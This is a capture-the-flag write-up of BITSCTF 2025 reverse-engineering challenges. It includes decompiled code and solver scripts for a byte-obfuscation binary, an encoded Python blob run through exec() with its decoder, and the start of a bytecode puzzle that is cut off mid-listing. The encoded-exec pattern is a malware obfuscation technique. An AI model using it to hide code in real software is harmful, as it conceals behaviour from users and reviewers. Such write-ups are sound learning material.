TheLeopard65
Published on

BITSCTF 2025 Challenges Writeup

AUTHORS
  • avatar
    NAME
    Yasir Mehmood
    TWITTER

REVERSE ENGINEERING


1. LAGINATOR


Loginator-Image

  1. At first i tried to convert the given hex to ascii but no luck:
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/REV]$ unhex 0292a80677a8323f1568c977de86997d08608e6477beba742696e74e
��w�2?h�wކ�`�dw��t&��N
  1. Then i ran some enumeration on the file, and got to know the following information:
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/REV]$ file loginator.out
loginator.out: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 4.4.0, BuildID[sha1]=2dacdd38888ded23de5c96b5db102ca08d607f79, stripped
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/REV]$ checksec ./loginator.out
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/kali/.cache/.pwntools-cache-3.12/update to 'never' (old way).
    Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
        [update]
        interval=never
[*] You have the latest version of Pwntools (4.14.0)
[*] '/home/kali/CTF-Events/BITSCTF-2025/REV/loginator.out'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/REV]$ ./loginator.out
Usage: ./loginator.out <string_to_obfuscate>
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/REV]$ ./loginator.out yes
db ca e6
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/REV]$ ./loginator.out BITSCTF{
02 92 a8 06 77 a8 32 3f
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/REV]$

  1. After doing the basic enumeration i opened up the file in ghidra and started analyzing the file code.
  2. Then i got the following functions
void main(int argc,char **argv){
  uint result_char;
  long FSOFFSET;
  byte current-character;
  int Key-A;
  int Key-B;
  int Key-C;
  int Key-D;
  ulong i;
  ulong j;
  char *input;
  size_t input_len;
  void *flag_len;
  char *Array_A;
  char *Array_B;
  char *Array_C;
  long STACK-CANARY;

  STACK-CANARY = *(long *)(FSOFFSET + 0x28);
  if (argc == 2) {
    input = argv[1];
    input_len = strlen(input);
    flag_len = malloc(input_len + 1);
    if (flag_len == (void *)0x0) {
      perror("malloc");
    } else {
      Array_A = (char *)malloc(4);
      if (Array_A == (char *)0x0) {
        perror("malloc");
        free(flag_len);
      } else {
        *Array_A = 'W';
        Array_A[1] = '!';
        Array_A[2] = 'C';
        Array_A[3] = -0x67;
        Array_B = (char *)malloc(4);
        if (Array_B == (char *)0x0) {
          perror("malloc");
          free(flag_len);
          free(Array_A);
        } else {
          *Array_B = -0x56;
          Array_B[1] = -0x45;
          Array_B[2] = -0x34;
          Array_B[3] = -0x23;
          Array_C = (char *)malloc(4);
          if (Array_C == (char *)0x0) {
            perror("malloc");
            free(flag_len);
            free(Array_A);
            free(Array_B);
          } else {
            *Array_C = '\x01';
            Array_C[1] = '\x03';
            Array_C[2] = '\x05';
            Array_C[3] = '\a';
            Key-A = 0;
            Key-B = 0;
            Key-C = 0;
            Key-D = 0;
            for (i = 0; i < input_len; i = i + 1) {
              current-character = input[i];
              if (Key-D == 3) {
                result_char = First_checker(current-character,Array_B,&Key-B,4);
                current-character = (byte)result_char;
              } else if (Key-D < 4) {
                if (Key-D == 2) {
                  result_char = Second_Checker(current-character,Array_C,&Key-C,4);
                  current-character = (byte)result_char;
                } else if (Key-D < 3) {
                  if (Key-D == 0) {
                    result_char = Third_Checker(current-character,Array_A,&Key-A,4);
                    current-character = (byte)result_char;
                  } else if (Key-D == 1) {
                    current-character = XOR_with_2(current-character);
                  }
                }
              }
              *(byte *)((long)flag_len + i) = current-character;
              Key-D = (Key-D + 1) % 4;
            }
            *(undefined *)(input_len + (long)flag_len) = 0;
            for (j = 0; j < input_len; j = j + 1) {
              printf("%02x ",(ulong)*(byte *)(j + (long)flag_len));
            }
            putchar(10);
            free(flag_len);
            free(Array_A);
            free(Array_B);
            free(Array_C);
          }
        }
      }
    }
  } else {
    fprintf(stderr,"Usage: %s <string_to_obfuscate>\n",*argv);
  }
  if (STACK-CANARY == *(long *)(FSOFFSET + 0x28)) {
    return;
  }
  __stack_chk_fail();
}

uint First_checker(byte current_char,char *Array,int *key,int offset_value){
  byte bVar1;
  bVar1 = Array[*key];
  *key = (*key + 1) % offset_value;
  return ~(uint)(current_char ^ bVar1);
}

uint Second_Checker(byte current_char,char *Array,int *index,int offset_value){
  byte bVar1;
  bVar1 = Array[*index];
  *index = (*index + 1) % offset_value;
  return (int)(uint)current_char >> (8 - bVar1 & 0x1f) | (uint)current_char << (bVar1 & 0x1f);
}

uint Third_Checker(byte current-char,char *Array,int *index,int value-index){
  byte bVar1;
  bVar1 = Array[*index];
  *index = (*index + 1) % value-index;
  return (uint)bVar1 ^ current-char + 0x13;
}

int XOR_with_2(byte current_char){
  return (uint)current_char * 2;
}

  1. After analyzing the file, I wrote the following script to get the flag:
def reverse_first_xoring_function(obfuscated_char, second_array, key_b, value):
    some_byte = second_array[key_b[0]]
    key_b[0] = (key_b[0] + 1) % value
    return (~obfuscated_char & 0xff) ^ some_byte

def reverse_second_xoring_function(obfuscated_char, third_array, key_c, value):
    some_byte = third_array[key_c[0]]
    key_c[0] = (key_c[0] + 1) % value
    return ((obfuscated_char << (8 - some_byte)) | (obfuscated_char >> some_byte)) & 0xff

def reverse_third_xoring_function(obfuscated_char, first_array, key_a, value):
    some_byte = first_array[key_a[0]]
    key_a[0] = (key_a[0] + 1) % value
    return ((obfuscated_char - 0x13) & 0xff) ^ some_byte

def reverse_multiply_by_2(obfuscated_char):
    return (obfuscated_char // 2) & 0xff

def reverse_obfuscation(obfuscated_output):
    first_array = [ord('W'), ord('!'), ord('C'), 0x99]  # -0x67 is 0x99 in unsigned byte
    second_array = [170, 187, 204, 221]
    third_array = [1, 3, 5, 7]
    key_a = [0]
    key_b = [0]
    key_c = [0]
    key_d = 0

    original_input = []
    for obfuscated_char in obfuscated_output:
        if key_d == 3: original_char = reverse_first_xoring_function(obfuscated_char, second_array, key_b, 4)
        elif key_d == 2: original_char = reverse_second_xoring_function(obfuscated_char, third_array, key_c, 4)
        elif key_d == 0: original_char = reverse_third_xoring_function(obfuscated_char, first_array, key_a, 4)
        elif key_d == 1: original_char = reverse_multiply_by_2(obfuscated_char)
        original_input.append(original_char)
        key_d = (key_d + 1) % 4
    return bytes(original_input).decode('latin-1')

# Expected output (hex values)
expected_output_hex = "02 92 a8 06 77 a8 32 3f 15 68 c9 77 de 86 99 7d 08 60 8e 64 77 be ba 74 26 96 e7 4e"
expected_output_bytes = [int(x, 16) for x in expected_output_hex.split()]
original_input = reverse_obfuscation(expected_output_bytes)
print("Original Input:", original_input)
  1. Running the script gave me the flags.

2. BABY REV


baby-rev-challenge.png

  1. I download the file and tried to analyze it but it was an obfuscated python3 code. Here is the obfuscated code:
# Python obfuscation by freecodingtools.org
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'==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'))
  1. After deflating the zlib format a few times in Cyberchef, I got frustrated and wrote this script to decode it for me:
import base64, zlib

def zlib_solver(GIVENSTRING):
	RSTR = GIVENSTRING[::-1]
	DATA = base64.b64decode(RSTR)
	RESULT = zlib.decompress(DATA)
	if ("BITSCTF{" in RESULT.decode()):
		print(f"FOUND FLAG: {RESULT}")
		return
	STRIPPED = RESULT[11:-3]
	zlib_solver(STRIPPED)

STRING = "==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"
zlib_solver(STRING)
  1. Running the script gave me the flag.
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/REV]$ python3 solve-baby-rev.py
FOUND FLAG: b'# Online Python Compiler\n\nprint("Hello, World!")\n# "BITSCTF{obfuscation_and_then_some_more_obfuscation_4a4a4a4a}'"
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/REV]$

3. Praise Our RNG Gods


RNG-Gods

  1. They provided us with a decompiled python3 code for a simple script. The content of the chall.txt file were:
```0 LOAD_CONST 0 (0)
2 LOAD_CONST 1 (None)
4 IMPORT_NAME 0 (random)
6 STORE_NAME 0 (random)

8 LOAD_CONST 0 (0)
10 LOAD_CONST 1 (None)
12 IMPORT_NAME 1 (os)
14 STORE_NAME 1 (os)

16 LOAD_NAME 2 (int)
18 LOAD_ATTR 7 (NULL|self + from_bytes)
20 PUSH_NULL
22 LOAD_NAME 1 (os)
24 LOAD_ATTR 8 (urandom)
26 LOAD_CONST 2 (8)
28 CALL 1
30 LOAD_CONST 3 ("big")
32 CALL 2
34 STORE_NAME 5 (seed)

36 PUSH_NULL
38 LOAD_NAME 0 (random)
40 LOAD_ATTR 10 (seed)
42 LOAD_NAME 5 (seed)
44 CALL 1
46 POP_TOP

48 LOAD_CONST 4 ("REDACTED")
50 STORE_NAME 6 (flag)

